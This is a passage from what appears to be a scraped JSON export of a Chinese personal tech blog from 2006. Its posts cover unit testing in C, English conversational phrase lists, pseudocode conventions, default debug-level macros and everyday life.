元测试最好是能自动化，这样一旦修改了代码，可以对以前测试过的代码进行回归单元测试，保证此次修改不影响到以前已经测试过的代码的正确性。不过自动化又谈何容易？Java有很好的工具支持，可谓众星捧月；C则是孤家寡人，少有有利的工具支持。这样的话，我们就需要自己写自动化的逻辑，当然这些逻辑因系统而异，至今我也很难想出好的通用的办法，比如像Mock Test这样的测试，在C中就很难实现，我们常常以真实的情景代之，而不是使用Mock，这样就可能让不同的用例对执行顺序有一个依赖，执行顺序不一致，测试的结果可能不相同。\n以上的一些经验都有一定的语言局限性，对于使用C开发的系统可能有些借鉴的意义，但是对于Java开发的系统上面的很多说法也许还是误导的，大家一定要\u0026rsquo;睁大眼睛\u0026rsquo;，看清楚了^_^。单元测试仍在进行中…^_^\n","permalink":"https://tonybai.com/2006/05/12/the-march-of-unit-test/","summary":"\u003cp\u003e又是老生常谈-\u0026lsquo;单元测试\u0026rsquo;，说实话自己在单元测试上是\u0026rsquo;语言上的巨人，行动上的矮子\u0026rsquo;，属于那种说的比做的多的人^_^。不过也不能说什么也没做。记得去年年末的时候自己还设计并实现过一个简单的\u0026rsquo;\u003ca href=\"http://tonybai.com/2005/11/08/the-design-and-implementation-of-c-unittest-framework/\"\u003eC语言单元测试包\u003c/a\u003e\u0026lsquo;呢^_^，至今这个包仍然还在使用呢。不过大多数的单元测试都不像想象中那样简单，我们在介绍单元测试的时候，大多拿Add、Sub等作例子，这样当然有好处，简单易懂。其实学习单元测试初期关键是学习单元测试的思想，所以这些Add、Sub也能满足需求。不过在真正的项目中，单元测试大多做起来较为困难，我是在Unix上做C开发的，Java的咱暂先不提，也没什么资格提，虽然曾经花过一段时间专心研究过，还写过些\u003ca href=\"http://tonybai.com/2004/10/10/java-basics/\"\u003eJava学习心得\u003c/a\u003e，但是毕竟没做过实际的项目，说起来心里也发虚。\u003c/p\u003e","title":"单元测试进行曲"},{"content":"‘提醒忠告’也是我们日常生活中常见的一些’行为’，这里我们一起看看如何用英语来有效的表达这些行为。\n[教诲、告诫]\nJohn, apologize to her.\nJohn, you listen to me!\nWatch out! Don’t play with that thing.\nDo it yourself.\nYou should finish what you start. 不要半途而废\nI’m ready to throw in the towel.\nIt is your duty to do that.\nBe good to others.\nYou can’t be too careful. 再小心也不为过\nMake up your mind after thinking it over carefully.\nYou’ll see. 你终究/迟早会明白的\nCalm down and think carefully.\nThat is the most important thing.\nDon’t bite off more than your can chew. 要有自知之明\nThere isn’t much merit in doing so.\nWhat you need is a little more effort.\nRespect yourself. 自重\nI hope you will be positive overall.\nThat’s easy for you to say. 你说起来容易\nThere is no reason for complaints. = There is no reason to complain\nIt’s natural for me to get angry.\nI’m telling you this from my experience.\nCannot you think it differently?\nDon’t trust it.\nI’m so gullible!\nDon’t under him,\nThat is the name of the game.\nI cannot make any exceptions for you.\nUse your head!\nYou ask for it. 活该，自作自受\nIf the shoe fits, wear it. 如果认为别人批评得有道理，就该接受\nIf the cap fits, wear it.\n[提醒]\nLet me give you a piece of advice.\nWatch out!\nWatch your step! 小心脚下\nHold on to me tight. = hold me tightly\nWatch out for him. = be careful of him = keep your eye on him 小心提防他\nThere is a little catch. = There is something to it. 事有蹊跷\nThink twice before you do it. 三思而行\nEasy does it! 轻拿轻放 别着急\nPlease go easy on me.\nLet’s not jump the gun.\nLet’s not go overboard.\nLet’s wait and see how things go.\nDon’t jump to conclusions.\nDon’t be selfish.\nYour work is always inconsistent.\nYou should not spend money foolishly.\nYou have an attitude problem.\nDon’t be so naughty.\nHold it down! = Be quiet!\nHush! = Be quiet!\nIt’s too noisy!\nDon’t make a fool of yourself!\nThink about where you are. 分清场合\nAct your age! = Behave in accordance with what is expected of your age!\nYour view is too optimistic.\nYou should get your head out of the clouds. 你的想法太不现实了\nDon’t make such stupid mistake again!\nDon’t be stuck-up.\nDon’t judge a book by its cover. = never judge something by its looks 别以貌取人\nWatch your tongue. = Be careful of what you say\nFollow the rules.\nStop goofing off! 别偷懒\nDo as I said.\nDon’t say bad things about others.\nDon’t go back on your word! 别食言 = Don’t break your promise = you should keep your promise.\nDon’t take on more than you can.\nDon’t be rude!\nYou are fired!\nBe a man! = Don’t be a chicken!\nDon’t talk boastfully!\nDon’t disappoint me! = don’t let me down.\nDon’t flirt with girls/boys!\nDon’t complain and do as you are told.\nMake it snappy! 麻利点、利索点\nStep on it! = Be quick!\n[责备]\nDon’t blame me.\nYou’re to blame.\nPut yourself in my shoes. = try to see it from my point of view. = try to see it my way.\nAren’t you ashamed of yourself?\nI’ll give him a piece of my mind.\nDon’t involve me! = I don’t want to get involved.\nI told you so. 我早说过了吧\nYou knew that, didn’t you?\nIt is as if I had done sth wrong!\nDon’t take it out on me!\nPay up! = Pay your debt! = Give me my money now!\nYou will pay for this. 我会找你算帐的\nYou are out of your mind. = You’re nuts. 你疯了！\nYou shouldn’t say things like that.\nIt is for your own good. 全为了你\nWhy are you picking on me?\nHe always finds fault with my work.\n[制止]\nHold it! = stop\nWait!\nDon’t do that!\nWhy are you doing that?\nPlease line up! 排队\nDon’t cut in line. 夹塞儿\nDon’t push!\nDon’t call me names.\nDon’t be a blabber mouth!\nKeep it out of sight.\nStay away from me!\nNo funny stuff! 不许耍花样\nStay out of this! 别介入这事\nDon’t ruin it. 别把事弄砸了\nStop fighting!\n[警告]\nFreeze! = don’t move!\nDuck! 蹲下\nHands up!\nDon’t move!\nYou listen to me! = Do as I said!\nGet down! 趴下\nHalt!\nStay where you are!\nMove on = Go ahead!\nOn your knees! 跪下\nRun for you lives!\nStop him!\nCan it! = shut up!\nStand back! = step back! 后退\nCut it out! 算了吧\nYou are under arrest!\nHeads up! = Be careful!\nDrop it!\nGet your hands off!\nStay down! 趴下\nGet out of here!\nBack off! 闪开！\n[New Words To Me]\nwatch out — be careful.\nthrow in the towel — give up in the face of defeat of lacking hope; admit defeat.\nmake up one’s mind — make one’s decision; decide.\nbite off more than one can chew — 担任自己所不能胜任的事.\nmerit — superior quality or worth; excellence.\noverall – including everything.\ncomplaint — an expression of grievance or resentment.\ngullible — naive and easily deceived or tricked.\nthe name of the game — 真正重要的东西, 问题的实质.\ngo easy on — 对..宽容、手下留情.\njump the gun — 发令枪末响起跑(偷跑)，引申为操之过急、行动过早.\ngo overboard — 做过了, 爱走极端.\njump to conclusions — make a conclusion quickly without thinking carefully.\nfoolishly — without good sense or judgement.\nnaughty — badly behaved.\noptimistic — expecting the best in this best of all possible worlds.\nstuck-up — (used colloquially) overly conceited or arrogant.\ngoofing off — the evasion of work or duty.\nboastfully — vauntingly.\nflirt — playful behavior intended to arouse sexual interest\nsnappy — quick and energetic.\ngive sb. a piece of one’s mind — 严厉斥责, 教训一顿.\ntake it out on — 向…发火，冲..出气\npick on sb — 挑剔某人\ncall sb’s names — 辱骂\nblabber — speak (about unimportant matters) rapidly and incessantly。\nfreeze — stop moving or become immobilized.\n","permalink":"https://tonybai.com/2006/05/11/spoken-english-note-series-remind-and-advice/","summary":"\u003cp\u003e‘提醒忠告’也是我们日常生活中常见的一些’行为’，这里我们一起看看如何用英语来有效的表达这些行为。\u003c/p\u003e\n\u003cp\u003e[教诲、告诫]\u003cbr\u003e\nJohn, apologize to her.\u003cbr\u003e\nJohn, you listen to me!\u003cbr\u003e\nWatch out! Don’t play with that thing.\u003cbr\u003e\nDo it yourself.\u003cbr\u003e\nYou should finish what you start. 不要半途而废\u003cbr\u003e\nI’m ready to throw in the towel.\u003cbr\u003e\nIt is your duty to do that.\u003cbr\u003e\nBe good to others.\u003cbr\u003e\nYou can’t be too careful. 再小心也不为过\u003cbr\u003e\nMake up your mind after thinking it over carefully.\u003cbr\u003e\nYou’ll see. 你终究/迟早会明白的\u003cbr\u003e\nCalm down and think carefully.\u003cbr\u003e\nThat is the most important thing.\u003cbr\u003e\nDon’t bite off more than your can chew. 要有自知之明\u003cbr\u003e\nThere isn’t much merit in doing so.\u003cbr\u003e\nWhat you need is a little more effort.\u003cbr\u003e\nRespect yourself. 自重\u003cbr\u003e\nI hope you will be positive overall.\u003cbr\u003e\nThat’s easy for you to say. 你说起来容易\u003cbr\u003e\nThere is no reason for complaints. = There is no reason to complain\u003cbr\u003e\nIt’s natural for me to get angry.\u003cbr\u003e\nI’m telling you this from my experience.\u003cbr\u003e\nCannot you think it differently?\u003cbr\u003e\nDon’t trust it.\u003cbr\u003e\nI’m so gullible!\u003cbr\u003e\nDon’t under him,\u003cbr\u003e\nThat is the name of the game.\u003cbr\u003e\nI cannot make any exceptions for you.\u003cbr\u003e\nUse your head!\u003cbr\u003e\nYou ask for it. 活该，自作自受\u003cbr\u003e\nIf the shoe fits, wear it. 如果认为别人批评得有道理，就该接受\u003cbr\u003e\nIf the cap fits, wear it.\u003c/p\u003e","title":"口语学习笔记之'提醒忠告'"},{"content":"五一黄金周回来还是那么忙碌，还好GF不在身边，自己的业余时间可以自由支配。最近养成这样的一个习惯：每天下班回去后不饿到很有’饥饿感’，我是绝对不会去吃的。公司的食堂和’大千世界’的公司食堂一样，饭菜是’物差价贵’，以至于我这几天晚上已经是’N过食堂门而不入’了^_^。没别的选择，只能自己动手，丰衣足食了。\n回到自己的小窝，看看’余粮’，心里又犯愁了，俗话说：巧’夫’难为无米之炊亚。我爱吃的’琵琶鸡腿’、’五花猪肉’早已经在几天前被我消灭光了，残存的与鸡也有关系-’鸡蛋’，一般我去一趟家乐福都是买回4袋鸡蛋’储藏’起来的，就是防备’弹尽粮绝’这一天的到来的^_^。除了鸡蛋还在旁边发现一罐’香辣肉酱’，终于看到’荤腥’了，这对于我这个’食肉动物’可是莫大的安慰亚。’脑筋急速转动’，说时迟，那时快，上千种饭菜搭配方案已经向不出来了，唯一能做的只有那’食神’最拿手的’蛋炒饭’了^_^。刹那间脑际’Music Start’：\n\u0026ldquo;嘿蛋炒饭最简单也最困难,\n饭要粒粒分开还要沾着蛋,\n嘿蛋炒饭最简单也最困难,\n铁锅翻不够快保证砸了招牌,\n嘿蛋炒饭最简单也最困难,\n这题目太刁难可我手艺并非泛泛,\n嘿蛋炒饭最简单也最困难\u0026rdquo;\n就这么定了。拿出我压箱底的’蛋炒饭’吧。’三个鸡蛋 + 半锅饭’就是今天我的晚饭了。我自己总结的好的蛋炒饭的’九字诀’，又叫’蛋炒饭’心法叫：蛋松软、米油亮、味香淡。有了心法后，勤加练习，认真领悟总结就可了，至于能达到的’炒功’层次，就看你的资质和造化了^_^。我练了这么’长’时间，也就练到三层功力，惭愧、惭愧呀^_^。\n‘饥饿感’到达顶峰了，该去’蛋炒饭’了。’嘿蛋炒饭最简单也最困难，饭要粒粒分开还要沾着蛋….’^_^\n","permalink":"https://tonybai.com/2006/05/11/have-egg-fried-rice-for-supper/","summary":"\u003cp\u003e五一黄金周回来还是那么忙碌，还好GF不在身边，自己的业余时间可以自由支配。最近养成这样的一个习惯：每天下班回去后不饿到很有’饥饿感’，我是绝对不会去吃的。公司的食堂和’大千世界’的公司食堂一样，饭菜是’物差价贵’，以至于我这几天晚上已经是’N过食堂门而不入’了^_^。没别的选择，只能自己动手，丰衣足食了。\u003c/p\u003e","title":"晚上吃一碗蛋炒饭"},{"content":"Pseudocode，即伪码，它常常用来描述一个算法，目的是能使被描述的算法能够容易的以任何一种计算机程序语言实现。’Pseudocode Conventions’可以理解为’伪码约定’，既然是’约定’那就并非强制性的标准。但是在专业的有关算法的文献和资料中，其相关内容多符合这些’Pseudocode Conventions’。如果你是一个想学习和钻研算法的人，那么建议你熟悉这些’Conventions’，俗话说：’磨刀不误砍柴工’吗！\n‘Pseudocode Conventions’应该说也是有多种多样的，但是随着这么多年的积累和进化，渐渐的一些’Conventions’退出了人们的视线，此时你在一些重要的图书典籍上能看到的大概就是被人们广泛接受的一种’Convention’了。这里介绍一种比较常用的’Pseudocode Convention’，这种’Convention’在MIT Press出版的’Introduction to Algorithms 2nd‘中被广泛采用，在国内的一些算法书籍中也是’屡见不鲜’。\n介绍’Pseudocode Conventions’其实与介绍一种程序设计语言的语法相似，看多了就会产生厌烦，这里先给出一个例子，让大家有个感性认识，找到一种新鲜感。^_^\n这个例子源于’Introduction to Algorithms’一书中的那个著名的’Insertion-Sort’：\nInsertion-Sort(A) △ A[1..n]\nfor j \u0026lt;- 2 to length[A]\ndo key \u0026lt;- A[j]\n△ Insert A[j] into the sorted sequence A[1..j-1].\ni \u0026lt;- j-1\nwhile i \u0026gt; 0 and A[i] \u0026gt; key\ndo A[i+1] \u0026lt;- A[i]\ni \u0026lt;- i-1\nA[i+1] \u0026lt;- key\n对应上面的例子，下面是对该’Convention’的一些阐述条款：\n1、每个指令占据一行，指令结束或者说行尾无任何符号。\n2、利用’缩进(Indentation)’表示程序的块结构(Block Structure)。\n3、符号’△’表示该行其后面的内容为注释。\n4、’i \u0026lt;- j’为赋值语句，表示将j的值赋给i；而’i \u0026lt;- j \u0026lt;- e’这样的多重赋值形式则等价于’i \u0026lt;- e’, ‘j \u0026lt;- e’。\n5、变量无需声明；一般情况下变量局限于某一特定的Procedure，除非有显式说明我们才使用全局变量。\n6、数组A通过A[index]方式访问到数组内元素的值。\n7、条件判断语句格式如下：\nif (Condition1)\nthen [ Block 1 ]\nelse if (Condition2)\nthen [ Block 2 ]\nelse [ Block 3 ] 8、支持三种循环语句：while、for、repeat … until。’for t \u0026lt;- 0 to n’表示 t范围为[0, n)。\n9、复合数据用对象(Object)来表示。对象由属性(Attribute)和域(Field)构成。域的存取是由域名后接由方括号括住的对象名表示，如上面李子中的length[A]，数组A被看成为一个Object，其域有length，表示数组中元素的个数，即length[A]。用于表示一个数组或对象的变量被看作是指向表示数组或对象的数据的一个指针。对于某个对象x的所有域f，赋值y\u0026lt;-x就使f[y]=f[x]，换言之，在赋值y\u0026lt;-x后，x和y指向同一个对象。有时一个指针不指向任何对象，这时我们赋给它NIL。\n10、参数传递方式为’值传递’方式，被调用的过程拥有自己的参数拷贝，被调用过程对参数的修改是不能被调用者看到的。当传递一个对象时，只是拷贝指向该对象的指针，而不拷贝其各个域。\n11、布尔运算符’and’和’or’都是’short circuiting’的。如计算表达式’x and y’，如果x为FALSE，那么整个表达式就为FALSE，我们不再计算y了。\nOK，罗列了11项，照比C这类的高级语言，这种’语法’显然简单的多，更易理解。以后要做的就是尽量在进行算法描述的时候使用这种’Pseudocode Convention’，毕竟熟才能生巧！\n","permalink":"https://tonybai.com/2006/05/10/pseudocode-conventions-in-algorithm-description/","summary":"\u003cp\u003ePseudocode，即伪码，它常常用来描述一个算法，目的是能使被描述的算法能够容易的以任何一种计算机程序语言实现。’Pseudocode Conventions’可以理解为’伪码约定’，既然是’约定’那就并非强制性的标准。但是在专业的有关算法的文献和资料中，其相关内容多符合这些’Pseudocode Conventions’。如果你是一个想学习和钻研算法的人，那么建议你熟悉这些’Conventions’，俗话说：’磨刀不误砍柴工’吗！\u003c/p\u003e","title":"算法描述中的'Pseudocode Conventions'"},{"content":"平时闲聊，想必大家都会^_^。今天我们看看如何用英语’闲聊’，下面是’口语8000句’中的’随意谈话’一课的听写记录。\n[征求意见]\nDo you understand?\nUnderstood?\nIs that clear?\nGet the picture? 了解情况么\nDo you know what I mean?\nAre you listening to me?\nAre you blind? 你不知道么\nYou know what I am talking about.\nI said that, didn’t I?\nDo you know that?\nDo you happen to know …? 说不定你知道…吧\nI can’t tell the difference.\nCan you hear me?\nDid you hear me?\n[同意]\nI understand.\nSee?\nI understand very well.\nI think I understand.\nI see what you mean.\nI know that too well.\nI see your point. = I see what you mean.\nI get it. 终于明白对方所说的事情\nI got it. 这样啊，原来是这么回事，随意的说法\nI know that much. 这点事儿我还是知道的\nThat solves it. 原来是这样呀。\nAll right, all right. I understand.\nI know that person.\nI know him by sight. 知道、见过面\nYeah, I heard about it.\nI am following you.\nMake sense. 言之有理\n[不明白、不知道]\nI don’t (really) understand.\nThat’s not clear.\nI can’t see your point.\nI can’t understand what you mean.\nI’m not sure what you mean.\nI don’t know what’s what. 根本不知道是怎么回事\nIt’s over my head.\nYour guess is as good as mine.\nThe more I think about it, the less I understand it.\nI don’t know what he is driving at. = I don’t know what he is trying to do.\nWhat’s she after? = what is she trying to do?\nI’ve no idea.\nI don’t know for sure.\nNo one knows for sure.\nHow should I know? 我怎么会知道\nWho knows?\n[反问]\nYes?\nWhat for?\nPardon me? = I beg your pardon\nHow about now?\nExcuse me?\nWhat?\nDid you say anything?\nI’m sorry, what did you say?\nSo what? 那又能怎么样呢\nWhat does it mean?\nAre you saying that …\nThen what? 后来怎么样了\nWhat’s he driving at?\nWould you repeat that please?\nYou’re speaking too quickly.\nPlease say it more slowly.\nI can’t keep up.\nPlease speak a little louder.\nI can’t hear you.\nI couldn’t catch what you said.\nWhat’re you talking about?\n[感想]\nJust like me.\nWas it good?\nDid you have fun?\nHow do you like it?\nDid you like it?\nWhat do you think of it?\n[询问、叙述情况]\nHow did things turn out?\nTo make a long story short. 长话短说\nJust tell me the story in a nutshell.\nLet me know the circumstances/situation.\nA piece of cake. 轻而易举\nSo far, so good. 到现在为止还好\nso-so. 马马虎虎\nThat’s about it. 就是这样\nIt was nothing.\nThere is nothing to it.\nIt worked.\nIt needs work.\nGoing from bad to worse.\nHe made it big. 一举成名\nWe are set. 我们准备好了 or 问题解决了\n[随声附和]\nI see.\nUh-huh. 啊哈(表示肯定答复的惊叹词)\nYou have?\nIs that right?\nThat’s right.\nExactly!\nOh, yeah? = Is that so? 是吗\nAnd?\nMe, too.\nNeither do I.\nDon’t be silly.\nThat’s too bad.\nAre you sure?\nWhat a shame!\nWhat a surprise!\nI hope not.\nI hope so.\nGreat!\nUnbelievable! 难以置信\nNo kidding! 开玩笑吧\nYou bet = sure, OK = No problem\n[一时语塞]\nWell… 嗯…\nLet me see.\nI mean…\nIt’s on the tip of my tongue. 话在嘴边\nWhat should I say? 难以启齿的话\nI don’t know quite how to put this. 我真不知道该说什么好\nWhat do you call it?\nYou’ve got me 让你问住了\n[催促别人说]\nSay something.\nTell me more about it.\nHow was your trip?\nI’m all ears. = I’m listening carefully.\nHow was the meeting?\nI like to hear the story.\nWe had small talk.\nDid you enjoy the play?\nI want to talk about it now.\nShoot = Go ahead 说吧\nLet’s talk in English.\nLet’s have a chat.\nTo the point, please. 抓重点地说\nHow was your day?\n[转换话题]\nLet’s change the subject.\nLet’s get back to the subject. 言归正传\nI don’t want to talk about it now.\nLet’s talk about it later.\nTo change the subject.\nWell, all joking aside, … 好了，玩笑就到此为止…\nBy the way,…\nYou were saying?\nThat reminds me. = I remember it.\nLet’s stop talking.\nI’ve heard the story before.\nLet’s drop the subject.\nDon’t say it so loud.\n[下决心]\nI’ve decided it.\nIt is up to you. = you decide = It depends on you.\nThis is the important point.\nThis is my person problem.\nIt is a matter of life and death. 生死攸关的大事\nYou are free to go or stay.\nThere is no turning back. 已经无可挽回\nLet’s play it by ear. 走一步看一步，顺其自然\nI’m sure I can do it.\nI’m still unable to decide what to do.\nI’ll follow her.\nLet’s all get together and act as one.\nI have to do it anyhow. = I must do it anyway.\nIt’s now or never. 机不可失，失不再来\nThe sooner, the better.\nI’ll take a chance.\nHave more guts. 再拿出点勇气来\nLet’s finish it somehow.\nIt is worth a try.\nWe must function as one mind and one body. 同心同德\nYou just wait. 等着瞧吧\nIt’s all or nothing. 豁出去了，孤注一掷\n[New Words To Me]\nin a nutshell — summed up briefly.\ngut — courage; fortitude.\n","permalink":"https://tonybai.com/2006/05/08/spoken-english-note-series-talk-freely/","summary":"\u003cp\u003e平时闲聊，想必大家都会^_^。今天我们看看如何用英语’闲聊’，下面是’口语8000句’中的’随意谈话’一课的听写记录。\u003c/p\u003e\n\u003cp\u003e[征求意见]\u003cbr\u003e\nDo you understand?\u003cbr\u003e\nUnderstood?\u003cbr\u003e\nIs that clear?\u003cbr\u003e\nGet the picture? 了解情况么\u003cbr\u003e\nDo you know what I mean?\u003cbr\u003e\nAre you listening to me?\u003cbr\u003e\nAre you blind? 你不知道么\u003cbr\u003e\nYou know what I am talking about.\u003cbr\u003e\nI said that, didn’t I?\u003cbr\u003e\nDo you know that?\u003cbr\u003e\nDo you happen to know …? 说不定你知道…吧\u003cbr\u003e\nI can’t tell the difference.\u003cbr\u003e\nCan you hear me?\u003cbr\u003e\nDid you hear me?\u003c/p\u003e","title":"口语学习笔记之'随意的谈话'"},{"content":"五一期间到姥姥家串门儿，自然午饭要在那吃，可中午做饭时听姥姥抱怨新买的电饭煲做饭时间太长而且还夹生，我好奇的走了过去想看看究竟，电饭煲的确是新买不久的，而且是美的的，我心想大牌厂商应该不会有这样的质量问题呀，一定是姥姥使用上的问题。仔细看了看控制板，果然不出所料，电饭煲的’功能选择’键停在了功能档的中央，既不是左边的’煮饭’也不是右边的’煲粥’，遂告诉姥姥以后煮饭要把功能选择调到’煮饭’档。\n吃完午饭，闲来无事，便又想起这件事来，联系到Keso写过的一篇叫’默认的力量‘的文章，自己又有了些新想法。当Keso那篇文章说的是IE用’默认的力量’打败了’Netscape’，其中总结的一个潜规则就是’用户都是无知者’，’无知者’一方面可能没有能力去挖掘你的工具提供的诸多强大的功能，另一方面则是少有人愿意为挖掘出那些强大的功能而付出劳动，能用就好，最理想的就是’拿来即用’。这也好比一台理想的电视机，从商店买回家里，插上电源，按下电源开关，全国各个电视台就都能在电视上看到，而无需去人工搜索设定电视频道。这样的情形在很多场合都能见到，在软件开发中也不例外。\n自己曾经在一个项目中提供了这样一组宏，其目的就是为了利用编译开关来选择程序输出的调试日志级别，比如level 1级别的日志只是输出某些最重要的调试信息，level 3级别的则是输出所有调试信息。当时没有多想就在一个头文件中写下了如下的代码：\n/*\n* 代码片断1\n*/\n#ifdef _DEBUG_LEVEL1\n#define MY_TRACE_L1(name, stat) TRACE(name, stat)\n#define MY_TRACE_L2(name, stat) {}\n#define MY_TRACE_L3(name, stat) {}\n#endif /* _DEBUG_LEVEL1 */\n#ifdef _DEBUG_LEVEL2\n#define MY_TRACE_L1(name, stat) TRACE(name, stat)\n#define MY_TRACE_L2(name, stat) TRACE(name, stat)\n#define MY_TRACE_L3(name, stat) {}\n#ifdef _DEBUG_LEVEL3\n#define MY_TRACE_L1(name, stat) TRACE(name, stat)\n#define MY_TRACE_L2(name, stat) TRACE(name, stat)\n#define MY_TRACE_L3(name, stat) TRACE(name, stat)\n不久一同项目组的哥们发来mail说程序编译不过去了，我迅速查了一下，发现在Makefile中没有定义任何DEBUG LEVEL宏，再看一下上面的代码你就会知道如果没有定义任何DEBUG LEVEL宏，那么用在程序代码中的MY_TRACE_Ln就是’undefined symbols’，程序自然不能编译通过。解决的方法很简单：添加一个DEBUG LEVEL宏，不过这样并不是一劳永逸的做法。正如我们上面所言，’用户都是无知的’，使用该程序的人最愿意看到的就是敲入’make’，马上得到可执行程序，而不是先添加一个宏定义后再make。最后我提供了一个默认的DEBUG LEVEL，解决方法如下：\n/*\n* 代码片断2\n*/\n#if !defined(_DEBUG_LEVEL1) \u0026amp;\u0026amp; !defined(_DEBUG_LEVEL2) \u0026amp;\u0026amp; !defined(_DEBUG_LEVEL3)\n#define _DEBUG_LEVEL1\n#endif\n把’代码片断2′放到’代码片断1′的前面，这样即使用户没有定义任何DEBUG LEVEL宏，程序仍然可以顺利通过编译。这段小插曲提醒我们时刻想着提供一个’默认的选项’，有些时候它事关重大，不能小觑它的力量。\n仅仅提供一个’默认选项’就够了么？我们再回到前面的那个’美的’电饭煲的设计上。从功能上该电饭煲提供了两种功能’煮饭’和’煲粥’，但是它好像并未提供默认的选项，而是将’功能选择’键放在了功能档的中央。也许有些人会说这可能就是电饭煲提供的默认的选项呢，也许这个中间档是出于安全考虑呢。但是我要说即使它是默认选项，它也有误导的作用，不了解它的人会认为这样就可以煮饭了，我姥姥就是这么想的。没错儿，这里我要说的就是’谨慎选择默认项，不要误导使用者’。这里我没有很好的软件开发中的例子来说明，似乎少了些说服力，不过通过这个电饭煲的例子你也可以悟到一些东西。其实如果我是电饭煲的设计者，我是不会允许将’功能选择’键放在了功能档的中央的，要么放在’煮饭’档要么放在’煲粥’档。^_^\n你在开发中提供默认选项了么，如果还没有的话，那就该好好想想是否是时候添加一个没有误导作用的默认选项了。\n","permalink":"https://tonybai.com/2006/05/08/supply-the-default-option/","summary":"\u003cp\u003e五一期间到姥姥家串门儿，自然午饭要在那吃，可中午做饭时听姥姥抱怨新买的电饭煲做饭时间太长而且还夹生，我好奇的走了过去想看看究竟，电饭煲的确是新买不久的，而且是美的的，我心想大牌厂商应该不会有这样的质量问题呀，一定是姥姥使用上的问题。仔细看了看控制板，果然不出所料，电饭煲的’功能选择’键停在了功能档的中央，既不是左边的’煮饭’也不是右边的’煲粥’，遂告诉姥姥以后煮饭要把功能选择调到’煮饭’档。\u003c/p\u003e","title":"你提供默认选项了吗"},{"content":"阴历的4月被称为’梅月’，具体为什么成为’梅月’我就不得而知了，我大致猜测可能是因为在这个月份可以吃杨梅了。还别说，这个月我还真还没少吃杨梅，我是北方人，吃樱桃的时候要多于吃杨梅，不过我总感觉杨梅的滋味在一定程度上与樱桃相像，个人感觉而已。北方是不产梅的，不过提到梅我们就不能不说说刚于5月1日开幕的世园会(那里可能有梅花哟，也是猜测而已^_^)，听去过的朋友说，那叫一个’大’，一天只能参观其中的一个很小的一部分，要想全逛完起码要两天以上，我就等着这段时间忙完了，亲自去体验一下了。\n言归正传，我们还是要说音乐的，今天要说的是两位女歌手，哪两位呢，听我一一道来^_^。\n‘幸福像花儿一样儿’想必很多人都看过了吧，呵呵。我只看过其中几集，让我印象最深的是那个饰演’白杨’的演员的演技，那叫一个’棒’！，相当的入戏！不过这里要说得却是他’老婆’，扮演’杜鹃’的青年演员’孙俪’，相信很多人认识孙俪都是因为海岩的那部剧’玉观音’。我本人对孙俪的第一印象一般，她并不是我所欣赏的那种女生^_^。不过包括我GF在内的几个女孩都说喜欢孙俪，真是的，审美观不一致，没办法！说完孙俪演戏，我们就要说她唱歌了。孙俪的’爱如空气’，也就是’幸福像花儿一样儿’的片尾曲，说实在话，这首歌真的很不错，听完第一遍就’迷上’了，旋律十分优美，曲调错落有致，孙俪醇美的声音将之演绎的恰到好处，我想这与孙俪舞蹈演员出身很有关系，因为有着同样的对音乐的理解。这里也希望孙俪能再接再厉，毕竟目前仅一首歌曲进入大家的视线！^_^\n另一位女歌手，就是最近大街小巷中’蹦出’的’神经大、不怕蟑螂’的郭美美，她的’不怕不怕’充满动感因素，歌词琅琅上口、曲调中布满流行元素，而其本人在演绎这首歌的时候，我想也是抱着’初生牛犊不怕虎’的态度，让我们感到了年轻人的活力。在最近的歌坛上也算是另类的一曲了，起码听的时候是不容易睡觉的^_^。这样的歌曲极其容易受到年轻人的’推捧’的。在听惯了’稳’歌之余，听听这种’动’歌也是未尝不可的，这样也许会减少你的听觉疲劳！^_^\n","permalink":"https://tonybai.com/2006/05/07/recommend-music-of-2006-04/","summary":"\u003cp\u003e阴历的4月被称为’梅月’，具体为什么成为’梅月’我就不得而知了，我大致猜测可能是因为在这个月份可以吃杨梅了。还别说，这个月我还真还没少吃杨梅，我是北方人，吃樱桃的时候要多于吃杨梅，不过我总感觉杨梅的滋味在一定程度上与樱桃相像，个人感觉而已。北方是不产梅的，不过提到梅我们就不能不说说刚于5月1日开幕的世园会(那里可能有梅花哟，也是猜测而已^_^)，听去过的朋友说，那叫一个’大’，一天只能参观其中的一个很小的一部分，要想全逛完起码要两天以上，我就等着这段时间忙完了，亲自去体验一下了。\u003c/p\u003e","title":"2006梅月靓乐"},{"content":"‘见面分手’是我们每天生活中必不可少的事情，在英语口语中这方面的词句有很多，其中不乏俚语，我们一起来学习一下’口语8000句’中是如何谈’见面分手’的。\n[碰到友人]\nHi!\nHello!\nGood Afternoon.\nGood Evening.\nHow are you?\nFine, Thank you.\nNot so good.\nNothing much/special. 还是老样子\nNice to meet you.\nWhat’s up? 出什么事了？\nHow is your family?\nHow is everything?\nHow is business?\nNot bad.\nHow did it go today?\nSame as usual/always.\nWhat’s the hurry? 急着干吗去？\nWhere are you headed? = where are you going?\nWhat are you doing?\nI was just thinking.\nI was just daydreaming.\nI am just killing time.\nWhat’s on your mind?\nNothing!\nAnother day, another dollar. 和往常一样\nYou’ve come just in time.\nThere you are!\nIs Tom around?\nHave you seen Tom?\nI ran into him.\nGuess who I bumped into yesterday?\nHe is a stranger to me.\n[好久不见]\nIt has been a long time!\nIt sure has.\nIt’s been so long.\nLong time no see.\nHow have you been?\nHow have you been doing?\nWhat have you been doing?\nWhere have you been?\nI’m glad to see you again.\nYou haven’t changed at all.\nYou haven’t changed much.\nYou’ve really changed.\nYou’ve grown up.\nYou’ve become so beautiful.\nIs Tom OK?\nYou look great.\nHow are you feeling?\nHow is she getting along these days?\nAre you gaining weight?\n[分手时]\nGoodbye.\nBye.\nSee you.\nI’m off now.\nI have to go.\nGood luck.\nHave a nice day!\nHave a nice weekend.\nHave fun!\nKeep it up.\nDon’t work too hard.\nHave a nice trip.\nHave a good one. 多保重\nI hate to run, but .. 虽然我不想走，但……\nIt was nice meeting you.\nPleae say hello to Tom for me.\nGood night.\nCome again.\nDon’t forget to bring something back for me.\nTake it easy.\nI hope to see you again soon.\nCall me later.\nTake care of yourself.\nI’ll be back.\nIt’s getting late.\nI’ve got to go.\n[暂时无法见面时]\nI’ll miss you.\nI wish I could go with you.\nPlease give my regards to your family.\nYou must come back.\nGive me a call sometime.\nLet’s get together again sometime.\nPlease write me a letter.\nLet’s keep in touch.\nDon’t forget to write.\n[拜访]\nHello, anyone home?\nPlease come in.\nHow nice of you to come.\nWhat do you want? 有事吗\nPlease feel free to make yourself at home.\nHave a seat.\nEnjoy yourself.\nWould you care for something to drink?\nDon’t mind me.\nMay I use your bathroom?\nWhere is the bathroom?\nMay I use your phone?\nI’d better get going now.\nThank you for inviting me.\nDrop by sometime.\nHe came to see me 